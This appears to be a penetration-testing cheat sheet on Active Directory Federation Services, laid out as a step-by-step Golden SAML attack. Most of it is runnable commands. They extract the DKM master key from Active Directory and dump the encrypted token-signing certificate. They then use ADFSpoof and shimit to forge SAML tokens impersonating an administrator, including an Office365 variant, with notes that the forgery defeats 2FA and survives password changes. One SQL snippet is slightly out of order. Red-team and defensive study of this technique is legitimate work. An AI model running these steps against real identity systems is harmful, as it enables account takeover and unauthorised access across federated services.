personas/personas/_shared/internal-allthethings/active-directory/ad-adfs-federation-services.md

Active Directory - Federation Services

Active Directory Federation Services (AD FS) is a software component developed by Microsoft that provides users with single sign-on (SSO) access to systems and applications located across organizational boundaries. It uses a claims-based access control authorization model to maintain application security and to provide seamless access to web-based applications that are hosted inside or outside the corporate network.

ADFS - DKM Master Key

• The DKM key is stored in the thumbnailPhoto attribute of the AD contact object.

$key=(Get-ADObject -filter 'ObjectClass -eq "Contact" -and name -ne "CryptoPolicy"' -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=domain,DC=local" -Properties thumbnailPhoto).thumbnailPhoto
[System.BitConverter]::ToString($key)

ADFS - Trust Relationship

Gets the relying party trusts of the Federation Service.

• Search for IssuanceAuthorizationRules

  Get-AdfsRelyingPartyTrust
  

ADFS - Golden SAML

Golden SAML is a type of attack where an attacker creates a forged SAML (Security Assertion Markup Language) authentication response to impersonate a legitimate user and gain unauthorized access to a service provider. This attack leverages the trust established between the identity provider (IdP) and service provider (SP) in a SAML-based single sign-on (SSO) system.

• Golden SAML are effective even when 2FA is enabled.
• The token-signing private key is not renewed automatically
• Changing a user’s password won't affect the generated SAML

Requirements:

• ADFS service account
• The private key (PFX with the decryption password)

Exploitation:

• Run mandiant/ADFSDump on ADFS server as the ADFS service account. It will query the Windows Internal Database (WID): \\.\pipe\MICROSOFT##WID\tsql\query

• Convert PFX and Private Key to binary format

  # For the pfx
  echo AAAAAQAAAAAEE[...]Qla6 | base64 -d > EncryptedPfx.bin
  # For the private key
  echo f7404c7f[...]aabd8b | xxd -r -p > dkmKey.bin 
  

• Create the Golden SAML using mandiant/ADFSpoof, you might need to update the dependencies.

  mkdir ADFSpoofTools
  cd $_
  git clone https://github.com/dmb2168/cryptography.git
  git clone https://github.com/mandiant/ADFSpoof.git 
  virtualenv3 venvADFSSpoof
  source venvADFSSpoof/bin/activate
  pip install lxml
  pip install signxml
  pip uninstall -y cryptography
  cd cryptography
  pip install -e .
  cd ../ADFSpoof
  pip install -r requirements.txt
  python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.pentest.lab saml2 --endpoint https://www.contoso.com/adfs/ls
  /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
  

Manual Exploitation:

• Retrieve the WID path: Get-AdfsProperties

• Retrieve the ADFS Relying Party Trusts: Get-AdfsRelyingPartyTrust

• Retrieve the signing certificate, save the EncryptedPfx and decode it base64 -d adfs.b64 > adfs.bin

  $cmd.CommandText = "SELECT ServiceSettingsData from AdfsConfigurationV3.IdentityServerPolicy.ServiceSettings"
  $client= New-Object System.Data.SQLClient.SQLConnection($ConnectionString);
  $client.Open();
  $cmd = $client.CreateCommand()
  $cmd.CommandText = "SELECT name FROM sys.databases"
  $reader = $cmd.ExecuteReader()
  $reader.Read() | Out-Null
  $name = $reader.GetString(0)
  $reader.Close()
  Write-Output $name;
  

• Retrieve the DKM key stored inside the thumbnailPhoto attribute of the Active Directory:

  ldapsearch -x -H ldap://DC.domain.local -b "CN=ADFS,CN=Microsoft,CN=Program Data,DC=DOMAIN,DC=LOCAL" -D "adfs-svc-account@domain.local" -W -s sub "(&(objectClass=contact)(!(name=CryptoPolicy)))" thumbnailPhoto
  

• Convert the retrieved key to raw format: echo "RETRIEVED_KEY_HERE" | base64 -d > adfs.key

• Use mandiant/ADFSpoof to generate the Golden SAML

NOTE: There might be multiple master keys in the container, remember to try them all.

Golden SAML Examples

• SAML2: requires --endpoint, --nameidformat, --identifier, --nameid and --assertions

  python ADFSpoof.py -b adfs.bin adfs.key -s adfs.domain.local saml2 --endpoint https://www.contoso.com/adfs/ls
  /SamlResponseServlet --nameidformat urn:oasis:names:tc:SAML:2.0:nameid-format:transient --nameid 'PENTEST\administrator' --rpidentifier Supervision --assertions '<Attribute Name="http://schemas.microsoft.com/ws/2008/06/identity/claims/windowsaccountname"><AttributeValue>PENTEST\administrator</AttributeValue></Attribute>'
  

• Office365: requires --upn and --objectguid

  python3 ADFSpoof.py -b adfs.bin adfs.key -s sts.domain.local o365 --upn user@domain.local --objectguid 712D7BFAE0EB79842D878B8EEEE239D1
  

• Other: connect to the service provider using a known account, analyze the SAML token attributes given and reuse their format.

NOTE: Sync the time between the attacker's machine generating the Golden SAML and the ADFS server.

Other interesting tools to exploit AD FS:

• secureworks/whiskeysamlandfriends/WhiskeySAML - Proof of concept for a Golden SAML attack with Remote ADFS Configuration Extraction.

• cyberark/shimit - A tool that implements the Golden SAML attack

  python ./shimit.py -idp http://adfs.domain.local/adfs/services/trust -pk key -c cert.pem -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id REDACTED
  

References

• I AM AD FS AND SO CAN YOU - Douglas Bienstock & Austin Baker - Mandiant
• Active Directory Federation Services (ADFS) Distributed Key Manager (DKM) Keys - Threat Hunter Playbook
• Exploring the Golden SAML Attack Against ADFS - 7 December 2021
• Golden SAML: Newly Discovered Attack Technique Forges Authentication to Cloud Apps - Shaked Reiner - 11/21/17
• Meet Silver SAML: Golden SAML in the Cloud - Tomer Nahum and Eric Woodruff - Feb 29, 2024